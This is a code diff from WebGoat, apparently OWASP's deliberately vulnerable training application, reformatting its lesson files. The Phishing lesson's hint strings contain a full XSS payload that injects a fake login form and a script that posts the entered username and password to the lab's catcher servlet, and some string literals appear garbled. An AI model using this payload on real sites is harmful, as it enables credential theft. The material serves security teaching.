+ * @created October 28, 2003
*/
public class NewLesson extends LessonAdapter
{
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
- return super.createContent(s);
- //makeSuccess(s);
- //ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!"));
- //return (ec);
- }
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
+ {
+ return super.createContent(s);
+ // makeSuccess(s);
+ // ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!"));
+ // return (ec);
+ }
+ /**
+ * Gets the category attribute of the NEW_LESSON object
+ *
+ * @return The category value
+ */
+ protected Category getDefaultCategory()
+ {
+ return Category.GENERAL;
+ }
- /**
- * Gets the category attribute of the NEW_LESSON object
- *
- * @return The category value
- */
- protected Category getDefaultCategory()
- {
- return Category.GENERAL;
- }
+ private final static Integer DEFAULT_RANKING = new Integer(85);
- private final static Integer DEFAULT_RANKING = new Integer(85);
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
+ /**
+ * Gets the title attribute of the DirectoryScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("Create a WebGoat Lesson");
+ }
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
-
- /**
- * Gets the title attribute of the DirectoryScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("Create a WebGoat Lesson");
- }
-
- public Element getCredits()
- {
- return super.getCustomCredits("Created by: Your name goes here!", new StringElement(""));
- }
+ public Element getCredits()
+ {
+ return super.getCustomCredits("Created by: Your name goes here!", new StringElement(""));
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/PathBasedAccessControl.java b/main/project/JavaSource/org/owasp/webgoat/lessons/PathBasedAccessControl.java
index 2ee358c52..f6e776b4d 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/PathBasedAccessControl.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/PathBasedAccessControl.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
@@ -5,7 +6,6 @@ import java.io.File;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -14,36 +14,34 @@ import org.apache.ecs.html.HR;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
-
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@@ -111,13 +109,15 @@ public class PathBasedAccessControl extends LessonAdapter
s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. "
+ "You are only allowed to see one file in this directory. ");
- } else if (upDirCount(file) > 3)
+ }
+ else if (upDirCount(file) > 3)
{
s.setMessage("Access denied");
s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. "
+ "You are only allowed to see files in the webgoat directory. ");
- } else
+ }
+ else
{
illegalCommand = false;
}
@@ -153,16 +153,20 @@ public class PathBasedAccessControl extends LessonAdapter
s.setMessage("Congratulations! Access to file allowed");
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
makeSuccess(s);
- } else
+ }
+ else
{
s.setMessage("File is already in allowed directory - try again!");
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
}
- } else if (file != null && file.length() != 0)
+ }
+ else if (file != null && file.length() != 0)
{
- s.setMessage("Access to file/directory \"" + Encoding.urlDecode(f.getCanonicalPath())
+ s
+ .setMessage("Access to file/directory \"" + Encoding.urlDecode(f.getCanonicalPath())
+ "\" denied");
- } else
+ }
+ else
{
// do nothing, probably entry screen
}
@@ -176,30 +180,21 @@ public class PathBasedAccessControl extends LessonAdapter
ec.addElement(new HR().setWidth("100%"));
ec.addElement("Viewing file: " + f.getCanonicalPath());
ec.addElement(new HR().setWidth("100%"));
- if (f.length() > 80000)
- {
- throw new Exception("File is too large");
- }
+ if (f.length() > 80000) { throw new Exception("File is too large"); }
String fileData = getFileText(new BufferedReader(new FileReader(f)), false);
- if (fileData.indexOf(0x00) != -1)
- {
- throw new Exception("File is binary");
- }
- ec
- .addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"),
- " ").replaceAll("(?s)", "").replaceAll("
", " ")
+ .replaceAll(" \\s ", " ").replaceAll("<\\?", "<").replaceAll("<(r|u|t)",
+ "<$1")));
+ } catch (Exception e)
{
ec.addElement(new BR());
ec.addElement("The following error occurred while accessing the file: <");
ec.addElement(e.getMessage());
}
}
- }
- catch (Exception e)
+ } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/Phishing.java b/main/project/JavaSource/org/owasp/webgoat/lessons/Phishing.java
index 64b9a3213..f529f9e77 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/Phishing.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/Phishing.java
@@ -1,8 +1,8 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -20,32 +20,31 @@ import org.owasp.webgoat.Catcher;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@@ -70,8 +69,8 @@ public class Phishing extends LessonAdapter
*/
private boolean postedCredentials(WebSession s)
{
- String postedToCookieCatcher =
- getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY, Catcher.EMPTY_STRING);
+ String postedToCookieCatcher = getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY,
+ Catcher.EMPTY_STRING);
//
return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING));
@@ -100,8 +99,7 @@ public class Phishing extends LessonAdapter
{
makeSuccess(s);
}
- }
- catch (Exception e)
+ } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
@@ -169,66 +167,65 @@ public class Phishing extends LessonAdapter
{
List hints = new ArrayList();
hints.add("Try adding HTML to the search field to create a fake authentication form. "
- + "Try to make the form look official.");
+ + "Try to make the form look official.");
hints
.add("Try: "
- + "password<form><br><br><HR><H3>This feature requires account login:</H2"
- + "><br><br>Enter Username:<br><input type="text" id="user" "
- + "name="user"><br>Enter Password:<br><input type="password" "
- + "name = "pass"><br></form><br><br><HR>");
+ + "password<form><br><br><HR><H3>This feature requires account login:</H2"
+ + "><br><br>Enter Username:<br><input type="text" id="user" "
+ + "name="user"><br>Enter Password:<br><input type="password" "
+ + "name = "pass"><br></form><br><br><HR>");
hints
.add("Add functionality that can post a request, a button might work
"
- + "After getting the button on the page, don't forget you will need to steal the credentials and post them to: "
- + "http://localhost./WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE");
+ + "After getting the button on the page, don't forget you will need to steal the credentials and post them to: "
+ + "http://localhost./WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE");
hints
.add("Try: "
- + "<input type="submit" name="login" "
- + "value="login">"
- + "
"
+ + "password<form><br><br><HR><H3>This feature requires account login:</H2"
+ + "><br><br>Enter Username:<br><input type="text" id="user" "
+ + "name="user"><br>Enter Password:<br><input type="password" "
+ + "name = "pass"><br><input type="submit" name="login" "
+ + "value="login" onclick="hack()"></form><br><br><HR>");
hints
.add("You need to create the hack() function. This function will pull the credentials from the "
- + "webpage and post them to the WebGoat catcher servlet. "
- + " Some useful code snippets:
"
- + "
doucument.forms[0].user.value - will access the user field"
- + "
XssImage = new Image(); XssImage.src=SOME_URL = will perform a post"
- + "
javascript string concatentation uses a \"+\"
"
- + "
Solution for this hint():
"
- + "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen."
- + "\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); "
- + "XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+"
- + "document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}"
- + "</script>");
+ + "webpage and post them to the WebGoat catcher servlet. "
+ + " Some useful code snippets:
"
+ + "
doucument.forms[0].user.value - will access the user field"
+ + "
XssImage = new Image(); XssImage.src=SOME_URL = will perform a post"
+ + "
javascript string concatentation uses a \"+\"
"
+ + "
Solution for this hint():
"
+ + "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen."
+ + "\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); "
+ + "XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+"
+ + "document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}"
+ + "</script>");
hints
.add("Complete solution for this lesson:
"
- + "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen."
- + "\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); "
- + "XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+"
- + "document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}"
- + "</script><form><br><br><HR><H3>This feature requires account login:</H2"
- + "><br><br>Enter Username:<br><input type="text" id="user" "
- + "name="user"><br>Enter Password:<br><input type="password" "
- + "name = "pass"><br><input type="submit" name="login" "
- + "value="login" onclick="hack()"></form><br><br><HR>"
- + "
You may need to remove the '.' from the http://localhost./");
+ + "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen."
+ + "\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); "
+ + "XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+"
+ + "document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}"
+ + "</script><form><br><br><HR><H3>This feature requires account login:</H2"
+ + "><br><br>Enter Username:<br><input type="text" id="user" "
+ + "name="user"><br>Enter Password:<br><input type="password" "
+ + "name = "pass"><br><input type="submit" name="login" "
+ + "value="login" onclick="hack()"></form><br><br><HR>"
+ + "
You may need to remove the '.' from the http://localhost./");
/**
- * password